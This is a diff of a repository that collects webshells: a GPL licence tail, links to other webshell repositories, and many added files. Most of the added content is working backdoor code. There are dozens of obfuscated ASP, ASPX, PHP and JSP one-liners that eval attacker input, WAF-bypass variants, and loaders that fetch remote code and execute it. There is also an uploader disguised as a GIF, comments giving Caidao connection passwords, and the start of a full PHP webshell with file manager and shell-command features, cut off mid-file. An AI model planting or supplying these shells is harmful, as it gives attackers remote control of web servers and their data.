+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    {one line to give the program's name and a brief idea of what it does.}
+    Copyright (C) {year}  {name of author}
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    {project}  Copyright (C) {year}  {fullname}
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

other shell repository

@@ -1,2 +1,14 @@
 add other webshell collect repository
 url : https://github.com/tdifg/WebShell
+
+add public-shell repository
+url : https://github.com/BDLeet/public-shell
+
+add web-backdoor
+url : https://github.com/Ridter/Pentest/tree/master/backdoor
+
+add web-backdoors
+url : https://github.com/all3g/fuzzdb/tree/master/web-backdoors
+
+add web-shell
+url : https://github.com/BlackArch/webshells

other/small_shell.txt

@@ -0,0 +1,244 @@
+======================================================
+||                     ASP一句话                    ||
+======================================================
+----------------------------------------
+<%
+<!-- caidao setting input:<O>sb=eval(request(0))</O>,connecting pass:0 -->
+re= request("sb")
+if re <>"" then
+execute re
+response.end
+end if
+%>
+----------------------------------------
+<%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if  f.attributes <> 39 then:f.attributes = 39:end if%>
+----------------------------------------
+<%   
+codeds="Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"  
+execute (decode (codeds) )   
+Function DeCode (Coded)   
+    On Error Resume Next  
+    For i = 1 To Len (Coded)   
+        Curchar = Mid (Coded, i, 1)   
+        If Asc (Curchar) = 16 then   
+            Curchar = chr (8)   
+Elseif Asc (Curchar) = 24 then   
+            Curchar = chr (12)   
+Elseif Asc (Curchar) = 32 then   
+            Curchar = chr (18)   
+        Else    
+            Curchar = chr (Asc (Curchar) -3)   
+        End if   
+        DeCode = Decode&Curchar   
+    Next  
+End Function  
+'response.write(decode(codeds)) 
+' 菜刀连接 /hkmjj.asp?xx=x ,密码 hkmjj
+%>
+----------------------------------------
+<% 
+dim x1,x2 
+x1 = request("pass") 
+x2 = x1 
+eval x2 
+%>
+----------------------------------------
+<% 
+Function MorfiCoder(Code) 
+  MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf) 
+End Function 
+Execute MorfiCoder(")/*/z/*/(tseuqer lave") 
+%>
+Password: z
+----------------------------------------
+<%a=request("cmd")%><%eval a%>
+----------------------------------------
+<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("a"))%>
+----------------------------------------
+<%execute(request("xiaoma"))%>
+----------------------------------------
+1":eval request("a")'
+----------------------------------------
+"%><%eval request("a")%><%'" 
+----------------------------------------
+<%Y=request("x")%> <%execute(Y)%>
+----------------------------------------
+<%eval request("xiaoma")%>
+----------------------------------------
+┼癥污爠煥敵瑳∨≡┩愾  password: a
+----------------------------------------
+======================================================
+||                     ASPX一句话                   ||
+======================================================
+----------------------------------------
+<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>
+----------------------------------------
+<% @Page Language="Jscript"%><%eval(Request.Item["hucxsz"],"unsafe");%>
+----------------------------------------
+<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])  ); }%>
+----------------------------------------
+<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
+----------------------------------------
+<script type="text/javascript" language="C#">// <![CDATA[
+ WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); // ]]></script>
+Password: webadmin
+----------------------------------------
+<script runat="server" language="JScript"> 
+   function popup(str) { 
+  var q = "u"; 
+  var w = "afe"; 
+  var a = q + "ns" + w; 
+  var b= eval(str,a); 
+  return(b); 
+   } 
+</script>
+----------------------------------------
+<% 
+popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0=")))); 
+%>
+Password: z
+----------------------------------------
+<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["xiaoma"],"unsafe"));%>
+----------------------------------------
+<%@ Page Language="C#" ValidateRequest="false" %>
+<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["f4ck"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
+======================================================
+||                     PHP一句话                    ||
+======================================================
+----------------------------------------
+?JFIF 



+<?php @eval($_POST['caidao']);?>
+----------------------------------------
+<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('Status:404');Else/**/$K($M);?>
+----------------------------------------
+<?php @preg_replace("//e",$_POST[x],"e");exit("|LO|"); ?>
+----------------------------------------
+<?php array_map("ass\x65rt",(array)$_REQUEST['test']);?>
+----------------------------------------
+<?php $item['wind'] = 'assert';$array[] = $item;$array[0]['wind']($_POST['whirlwind']);?>
+----------------------------------------
+<?php if(isset($_POST["f4ck"])){$a=strrev("edoced_46esab");eval($a($_POST[z0]));}?>
+----------------------------------------
+<?php if(md5($_GET['pass'])=='21232f297a57a5a743894a0e4a801fc3'){eval($_POST[console]);}else{die('fuck off!');}?>
+----------------------------------------
+<?php
+//Password: $ws->Run
+eval(gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiQ/wDw6JVlcpL9a1CyrNU4/VtE7OyM1PUQBKBbsGhbkGRSsFOwd5BoTEu3n6uPo5+roqxeoYmJiYaFrbA40CAA==')));
+?>
+----------------------------------------
+<?php
+	$fatezero	= "SABERBERSERKER(\$LANCERPCASTEROSTCASTERARCHERCASTER'faCASTERtASSASSINzCASTERASSASSINCASTERro'RIDER)GINTAMA";
+	$fatestaynight	= str_replace("CASTER", "", $fatezero);
+	$fatezero	= str_replace("LANCER", "_", $fatestaynight);
+	$fatestaynight	= str_replace("SABER", "ev", $fatezero);
+	$fatezero	= str_replace("BERSERKER", "al", $fatestaynight);
+	$fatestaynight	= str_replace("RIDER", "]", $fatezero);
+	$fatezero	= str_replace("GINTAMA", ";", $fatestaynight);
+	$fatestaynight	= str_replace("ARCHER", "[", $fatezero);
+	$fatezero	= str_replace("ASSASSIN", "e", $fatestaynight);
+
+	if($fatestaynight !== $fatezero)
+	{
+		eval($fatezero);//fatezero
+	}
+?> 
+----------------------------------------
+<?php
+//http://test.com/get_write.php?a=/shell.php&b=3C3F70687020406576616C28245F504F53545B2763616964616F275D293B3F3E
+//caidao connecting http://test.com/shell.php	pass:caidao
+$p=realpath(dirname(__FILE__)."/").$_GET["a"];
+$t=$_GET["b"];
+$tt="";
+for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2));
+@fwrite(fopen($p,"w"),$tt);
+echo "success!";
+var_dump($p,$tt);
+?>
+----------------------------------------
+<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['k8']);?>
+----------------------------------------
+<?php $mujj = $_POST['z'];if ($mujj!=""){$xsser=base64_decode($_POST['z0']);@eval("\$safedg = $xsser;");}?>
+----------------------------------------
+<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
+----------------------------------------
+<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
+----------------------------------------
+<?php fputs(fopen("./shell.php","w"),"<?eval(\$_POST[a]);?>")?>
+----------------------------------------
+<?php if($_POST[admin]){assert($_POST[admin]);}else{phpinfo();}?>
+----------------------------------------
+<?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)','add');?>
+----------------------------------------
+<?php ($_=@$_GET[2]).@$_($_POST[1])?>
+caidao: http://site/1.php?2=assert Password: 1
+----------------------------------------
+<?php
+$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
+$hh("/[discuz]/e",$_POST['h'],"Access");
+?>
+----------------------------------------
+<?php
+$user="63a9f0ea7bb98050796b649e85481845"; #root
+$pass="7b24afc8bc80e548d66c4e7ff72171c5"; #toor
+
+if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)
+{eval($_GET['idc']);}
+?>
+---------------------------------------
+<?php
+    $func = new ReflectionFunction($_GET[m]);
+    echo $func->invokeArgs(array($_GET[c],$_GET[id]));
+?>
+shell.php?m=file_put_contents&c=test.php&id=<?@eval($_POST[c]);?> //写入一句话马 for linux
+shell.php?m=file_put_contents&c=test.php&id=<?php eval($_POST[c]);?> //写入一句话马 for windows
+shell.php?m=system&c=echo ^<?php eval^($_POST[c]^);?^> >test.php //在当前目录下面生成一句话马 for windows
+shell.php?m=system&c=wget http://xxx.xxx/igenus/images/suffix/test.php //当前目录下载一句话马 for linux
+----------------------------------------
+<?php assert($_POST[sb]);?>
+----------------------------------------
+<script language="php">@eval($_POST[sb])</script>
+caidao: <O>h=@eval($_POST1);</O>  Password: sb
+----------------------------------------
+<?php eval($_POST[xiaoma]);?>
+----------------------------------------
+<?php $_GET['ts7']($_POST['cmd']);?>
+//caidao: http://www.target.com/shell.php?ts7=assert
+----------------------------------------
+<?php
+@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
+@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
+@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
+[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // Password: -7
+?>
+----------------------------------------
+<?fputs(fopen("test.php","w"),'<?php eval($_POST["cmd"]);?>');?>
+----------------------------------------
+<?php
+error_reporting(0);
+set_time_limit(0);
+function decrypt($ciphertext_hex,$key){
+$key=md5($key);
+$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
+$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
+$ciphertext_dec = pack("H*",$ciphertext_hex);
+$iv_dec = substr($ciphertext_dec, 0, $iv_size);
+$ciphertext_dec = substr($ciphertext_dec, $iv_size);
+$plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);
+return trim($plaintext_dec);
+}
+if(@$_REQUEST['key']){
+$key=$_REQUEST['key'];
+$hash='bd40dd58f44adc5c334e53418ea1bcd591521d60662c6753b89dc46bb02b1ecb02bf857eaa0ea5d5a36ecf638d65c55eb9a8f2b17ceb2d740e3eba7792d3995b7d4fdbdf9f5f90b219cf955539b169a40109ff496262cbc21050e6993d1f9a6a678990e0b01a03617dd4b38358d78e9a67eabe8b288487a96ca55a94e8d6614a';
+$shellcode='12ec445a8c4be78007d08367455c60d571c3509ba62d1f2b321fa824667345ff3131b02b81c8ad646ffc3360e60d19d3f7f43b7b21f5bca05d6e7abfc2461b5d72fffb22659aa08655cdd8734baa0fd47b93a5659348954f853d3a68022fb3422a3832efa04792c1a81680e5aa8081716f169e05afb332a26fbd0f76ae8905b9a068ddb54f3ae107ba673362835951f4953db1079b6a3c0b4eb20ca96a241936244947ee67e0d563d8b2eee439cc5ba21151ae520eec0a663f092f9845918c7d6630764dad77808e376e099008403b01c491399da5cb3c8926c29b1bf89e8c751fb33a850c608b20e4c41cf28ec8b8060a30a827b43cd301d9c587863ce39f2326345a0217110fc898acb6c3343f3ce8';
+eval(decrypt($hash,$key));
+}else{
+echo 'ERROR!';
+}
+//caidao:  <0>key=90sec</0>  or  Url: http://www.target.com/90sec.php?key=90sec   Password: shell
+----------------------------------------
+======================================================
+||                     JSP一句话                    ||
+======================================================
+----------------------------------------
+<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
+----------------------------------------

php/DAws.md

@@ -0,0 +1,10 @@
+DAws  a php webshell
+
+Author:[dotcppfile](https://github.com/dotcppfile/)
+
+url:https://github.com/dotcppfile/DAws
+
+There's multiple things that makes DAws better than every Web Shell out there:
+
+![alt tag](http://i.imgur.com/nUmccKQ.png)
+

php/README.md

@@ -4,7 +4,7 @@ hihi
 
 Author：JohnTroony
 
-site: <a href="https://github.com/JohnTroony/php-webshells">clink hrer</a>
+site: [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
 
 <pre>
                                   _oo0oo_
@@ -28,4 +28,4 @@ site: <a href="https://github.com/JohnTroony/php-webshells">clink hrer</a>
  
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                         佛祖保佑    iii    永不被杀 
-</pre>
+</pre>

php/biantai.php

@@ -0,0 +1,2 @@
+<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   $dI3h=${'_REQUEST'}; if (!empty($dI3h['PBbs'])) {     $lwA = $dI3h['UpB_'];    $SdlT=$dI3h['PBbs']($lwA($dI3h['PWWk']),$lwA($dI3h['xfrwA']));    $SdlT($lwA($dI3h['Epd']));   }
+?>

php/bypass-waf-2015-06-10-01.php

@@ -0,0 +1,20 @@
+<?php 
+define('iphp','oday');
+define('T','H*');
+define('A','call');
+define('B','user');
+define('C','func');
+define('D','create');
+define('E','function');
+define('F','file');
+define('F1','get');
+define('F2','contents');
+define('P','pack');
+$p = P;  //pack
+$call = sprintf('%s_%s_%s',A,B,C); //call_user_func
+$create = sprintf('%s_%s',D,E);    //create_function
+$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取
+$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
+//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
+call_user_func(create_function(null,pack('H*',file_get_contents(pack('H*',join(null,$t))))));
+?>

php/bypass-waf-2015-06-16-01.php

@@ -0,0 +1,21 @@
+<?php 
+function getMd5($md5 = null) { 
+    $key = substr(md5($md5),26); 
+    return $key; } 
+    $array = array( 
+      chr(112).chr(97).chr(115).chr(115), 
+      chr(99).chr(104).chr(101).chr(99).chr(107), 
+      chr(99).chr(52).chr(53).chr(49).chr(99).chr(99) 
+    ); 
+    if ( isset($_POST) ) $request = &$_POST; 
+    elseif ( isset($_REQUEST) )  $request = &$_REQUEST; 
+    if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { 
+      if ( getMd5($request[$array[0]]) == $array[2] ) { 
+        $token = preg_replace ( 
+        chr(47) . $array[2] . chr(47) . chr(101), 
+        $request[$array[1]], 
+        $array[2] 
+      ); 
+    } 
+} 
+?>

php/bypass-waf-2015-06-16-02.php

@@ -0,0 +1 @@
+<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['hkwwj']);?>

php/bypass-waf-2015-06-16-03.php

@@ -0,0 +1,7 @@
+<?php 
+$qajd2="VDFOVVd5";$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4 
+$akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9 
+$hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1 
+$gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n");// kfcs6 
+$foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2)))); $foxl6(); 
+?>

php/gif.php

@@ -0,0 +1,16 @@
+GIF89a1
+error_reporting(NULL)
+$me=$_SERVER['PHP_SELF']
+$NameF=$_REQUEST['NameF']
+$nowaddress='<input type=hidden name=address value="'.getcwd().'">'
+$pass_up="a13756bf1e2bd46921c135232774fc5f"
+if (isset($_FILES["elif"]) and
+ $_FILES["elif"]["error"] )
+move_uploaded_file($_FILES["elif"]["tmp_name"], $_FILES["elif"]["name"])
+echo $ifupload=" ItsOk "
+if(md5($_REQUEST['ssp'])
+=$pass_up)
+print "<title>403 Forbidden</title><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server </p>"
+exit()
+ $_SESSION['LoGiN']=true
+echo "<form action=$me method=post enctype=multipart/form-data> $nowaddress <input type=file name=elif ><input type=submit value=Upload /></form>"

php/tank96a/getcode.php

@@ -0,0 +1,7 @@
+<?php
+//getcode.php    
+//assert($_POST[c]);
+$cmd=$_GET['call'];
+if ($cmd=='code')  
+   echo sprintf('61737365727428245f504f53545b635d293b');
+?>

php/tank96a/readme.md

@@ -0,0 +1,12 @@
+## 使用说明
+
+> 写了两个脚本webshell.php和getcode.php(本地开了个php server，运行getcode.php模拟远程服务器上的网页)
+
+> 原理：首先用菜刀访问webshell.php，该webshell立即从远程服务器上获取要运行的代码并执行。
+
+> 这里获取的代码是61737365727428245f504f53545b635d293b，也就是assert($_POST[c]);
+
+> 菜刀中设置：http://192.168.1.102/DebugPHP/webshell.php 密码是c
+
+author ：tank96a
+form : http://tank96a.github.io/article/2015/04/27/php-horse/

php/tank96a/webshell.php

@@ -0,0 +1,10 @@
+<?php 
+//webshell.php
+//echo pack('H*', base_convert('0011000000111010', 2, 16));
+//echo pack('H*', '61737365727428245f504f53545b635d293b');
+//call_user_func(create_function(null,'echo (1+2);'));
+//call_user_func(create_function(null,'assert($_POST[c]);'));
+
+$url='http://localhost/DebugPHP/getcode.php?call=code';
+call_user_func(create_function(null,pack('H*',file_get_contents($url))));
+?>

php/xiaom.php

@@ -0,0 +1,5 @@
+<?php @$_="s"."s"./*- 
+//////////////////// 
+*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/ 
+/////////////////////
+*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>WooYun

php/xslt.php

@@ -0,0 +1,15 @@
+<?php
+$xml='<root>assert($_POST[a]);</root>';
+$xsl='<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
+ <xsl:template match="/root">
+    <xsl:value-of select="zcg:function(\'assert\',string(.))"/>
+ </xsl:template>
+</xsl:stylesheet>';
+$xmldoc = DOMDocument::loadXML($xml);
+$xsldoc = DOMDocument::loadXML($xsl);
+$proc = new XSLTProcessor();
+$proc->registerPHPFunctions();
+$proc->importStyleSheet($xsldoc);
+$proc->transformToXML($xmldoc);
+?> 

php/xw.php

@@ -0,0 +1,674 @@
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
+<title>EasyPHPWebShell(S8S8测试版)</title>
+    <style type="text/css">
+    <!--
+    body,td,th, h1, h2 {
+        font-size: 12px;
+        font-family: sans-serif;
+    }
+    body {background-color: #F8F8F8;}
+    .style1 { 
+        font-size: 12px;
+        font-family: verdana, helvetica, sans-serif, 宋体;
+        vertical-align: middle;
+        border: 1px solid #000000; 
+    }
+    .stylebtext2 {color: #990000;font-weight: bold;}
+    .stylebtext3 {color: #FFFFFF;font-weight: bold;}
+     a:link,a:visited,a:active {color:#336699; text-decoration: underline;} 
+     a:hover {COLOR: #990000;text-decoration: none;}
+    table {border-collapse: collapse;}
+    td, th { border: 1px solid #000000;}
+    -->
+</style>
+
+<?php
+@set_time_limit(0);
+@error_reporting(E_ERROR | E_WARNING | E_PARSE);
+@ob_start();
+$pagestarttime = microtime();
+
+if (get_magic_quotes_gpc()) {
+    $_GET = array_stripslashes($_GET);
+    $_POST = array_stripslashes($_POST);
+}
+
+/////参数设置
+
+$chkpassword = 0;//是否有密码验证
+
+$my_password = "5065338";//设置密码,如果chkpassword为0,此处设置无效.
+
+$cookit_time = 24;//设置cookie有效时间(单位:小时,注:一天24小时)
+
+//////结束
+
+?>
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
+<title>EasyPHPWebShell(S8S8测试版)</title>
+    <style type="text/css">
+    <!--
+    body,td,th, h1, h2 {
+        font-size: 12px;
+        font-family: sans-serif;
+    }
+    body {background-color: #F8F8F8;}
+    .style1 { 
+        font-size: 12px;
+        font-family: verdana, helvetica, sans-serif, 宋体;
+        vertical-align: middle;
+        border: 1px solid #000000; 
+    }
+    .stylebtext2 {color: #990000;font-weight: bold;}
+    .stylebtext3 {color: #FFFFFF;font-weight: bold;}
+     a:link,a:visited,a:active {color:#336699; text-decoration: underline;} 
+     a:hover {COLOR: #990000;text-decoration: none;}
+    table {border-collapse: collapse;}
+    td, th { border: 1px solid #000000;}
+    -->
+</style>
+
+<?
+
+if($chkpassword == 1){
+	@session_start();
+	if ($_GET["action"] == "logout") {
+		@session_unregister("smy_password");
+		@session_destroy();
+		@setcookie ("cmy_password","");
+		echo "<script>function redirect(){window.location.replace(\"{$_SERVER['PHP_SELF']}\");}redirect();</script>";
+	}
+	if($_GET["action"] == "login"){
+		if($my_password==$_POST["pmy_password"]){
+			@session_register("smy_password");
+			$_SESSION["smy_password"] = $my_password;
+			@setcookie ("cmy_password",$my_password,time()+(3600*$cookit_time));
+			echo "<script>function redirect(){window.location.replace(\"{$_SERVER['PHP_SELF']}\");}redirect();</script>";
+		}
+	}
+	if (@session_is_registered("smy_password")||isset($_COOKIE["cmy_password"])){
+		if (($_SESSION["smy_password"]!=$my_password)&&(!isset($_COOKIE["cmy_password"])||$_COOKIE["cmy_password"]!=$my_password))
+			getloginpass();
+	}else getloginpass();
+}
+
+if(!@get_cfg_var("register_globals")){
+    foreach($_GET as $key => $val) $$key = $val;
+    foreach($_POST as $key => $val) $$key = $val;
+	foreach($_FILES as $key => $val) $$key = $val;
+}
+
+if(isset($df_path)){
+    if (!file_exists($df_path)) $errordownload = "没找到文件"; 
+    else {
+        $df_name = basename($df_path);
+        $df_fhd=fopen($df_path,"rb");
+        if($df_fhd==false) $errordownload = "打开文件错误";
+        else{
+            Header("Content-type: application/octet-stream");
+            Header("Accept-Ranges: bytes");
+            Header("Accept-Length: ".filesize($df_path));
+            Header("Content-Disposition: attachment; filename=".$df_name);
+            echo fread($df_fhd,filesize($df_path));
+            fclose($df_fhd);
+            exit;
+        }
+    } 
+}
+
+if(isset($gotodir)) if($gotodir != "") $dir=$gotodir;
+
+if(!isset($action)) {
+    $action = "dir";
+    $dir = ".";
+}
+
+if(!isset($dir)) $dir = ".";
+
+$rootdir = str_replace("\\\\","/",$_SERVER["DOCUMENT_ROOT"]);
+
+if(isset($abspath)) $dir = gettruepath($dir);
+else if(isset($unabspath)){
+    $dir = gettruepath($dir);
+    if(strstr($dir,$rootdir)) $dir = str_replace("$rootdir",".",$dir);  
+    else $dir=".";
+}
+$rny="<font color=green><b>■</b></font>";$rnn="<font color=red><b>■</b></font>";
+
+?>
+
+<SCRIPT LANGUAGE="JavaScript">
+function rusuredel(msg,url){
+    smsg = "确实要删除文件(目录)[" + msg + "]吗?";
+    if (confirm(smsg)){
+        url = url + msg;
+        window.location = url;
+    } 
+}
+
+function rusurechk(msg,url){
+    smsg = "源文件(目录,属性)为[" + msg + "],请输入目标文件(目录,属性):";
+    re = prompt(smsg,msg);
+    if (re){
+        url = url + re;
+        window.location = url;
+    }
+}
+</script>
+</head>
+<body>
+
+<table width="100%" border="0" cellpadding="0" cellspacing="0">
+    <tr>
+        <td align="center" width="100%" bgcolor="#000000" class="stylebtext3">
+            欢迎使用EasyPHPWebShell 1.0(S8S8测试版)【切莫用于任何非法途径否则后果自负】
+        </td>
+    </tr>
+    <tr>
+        <td align="center" bgcolor="#EEEEEE">
+            本文件绝对路径:<? $stmp =str_replace("\\","/", __FILE__);echo "【<a href=\"$HTTP_SERVER_VARS[PHP_SELF]\">$stmp</a>】";?>【<a href="?action=logout">点此注销会话</a>】
+        </td>
+    </tr>
+    <tr>
+        <td align="center"  bgcolor="#EEEEEE">【<a href="?action=dir&dir=.">文件管理</a>】【<a href="?action=editfile&dir=<?=urlencode($dir);?>&editfile=<?=urlencode($dir);?>/">文本编辑器</a>】【<a href="?action=sql">数据库查询</a>】【<a href="?action=shell">Shell命令</a>】【<a href="?action=env">环境变量</a>】【<a href="?action=phpinfo">PHP系统信息</a>】【<a href="http://www.s8s8.net/forums/index.php?showtopic=15998">查看更新</a>】
+        </td>
+    </tr>
+</table>
+<br>
+<table width="100%" border="0" cellpadding="0" cellspacing="0">
+	<tr>
+		<td width="100%" bgcolor="#000000" align="center" class="stylebtext3">
+<?if($action == "dir"){?>
+	文件管理
+	</td>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=dir&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;当前目录:&nbsp;
+	<input name="gotodir" type="text" class="style1" value="<?=$dir?>" size="60">&nbsp;
+	<input name="gotodirb" type="submit" class="style1" value="跳转"><?if($dir[1] == ':') echo "【<a href=\"?action=dir&dir=".urlencode($dir)."&unabspath=1\">点此用<b>相对</b>路径查看</a>】&nbsp;";else echo "【<a href=\"?action=dir&dir=".urlencode($dir)."&abspath=1\">点此用<b>绝对</b>路径查看</a>】&nbsp;";?>
+	</td>
+	</form>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=fileup&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;文件上传到(目录):
+	<input name="filedir" type="text" class="style1" value="<?=$dir?>" size="30">&nbsp;本地文件:
+	<input name="userfile" type="file" class="style1" size="30">&nbsp;
+	<input name="userfileb" type="submit" class="style1" value="上传">
+	</td>
+	</form>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=filecreate&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+	<td bgcolor="#EEEEEE">&nbsp;新建文件(目录)在当前目录:&nbsp; 
+	<input name="mkname" type="text" value="" size=30 class="style1">&nbsp;
+	<input name="mkfileb" type="submit" value="新建文件" class="style1">&nbsp;
+	<input name="mkdirb" type="submit" value="新建目录" class="style1">&nbsp;当前目录状态:【<b><?$write = "不可写";if(is_dir($dir)) {if ($fp = @fopen("$dir/temp.tmp", 'w')) {@fclose($fp);@unlink("$dir/temp.tmp");$write = "可写";}}echo "$write</b>】";?>
+	</td>
+	</tr>
+	</table>
+
+	<table width="100%" border="0" cellpadding="0" cellspacing="0">
+	<tr bgcolor="#000000" class="stylebtext3">
+		<td width="25%">文件名</td>
+		<td width="40%">建立时间|最后修改时间</td>
+		<td width="10%">大小(KB)</td>
+		<td width="8%">属性</td>
+		<td width="17%">操作</td>
+	</tr>
+	<?php
+	$filesum=0;$dirsum=0;$color="#EEEEEE";
+	$dirs=@opendir($dir);
+	while ($lop_fname=@readdir($dirs)){
+		if(@is_dir("$dir/$lop_fname")){
+			$lop_fsize = "-";
+			$lop_fcdata = "-";
+			$lop_fmdata = "-";
+			$lop_foper="-";
+			$lop_ftype="-";
+			if($lop_fname==".."){
+				if($dir == ".") continue;
+				$dirb=@dirname($dir);
+				if($dir[1] ==':'){
+					$dirb = gettruepath($dirb);
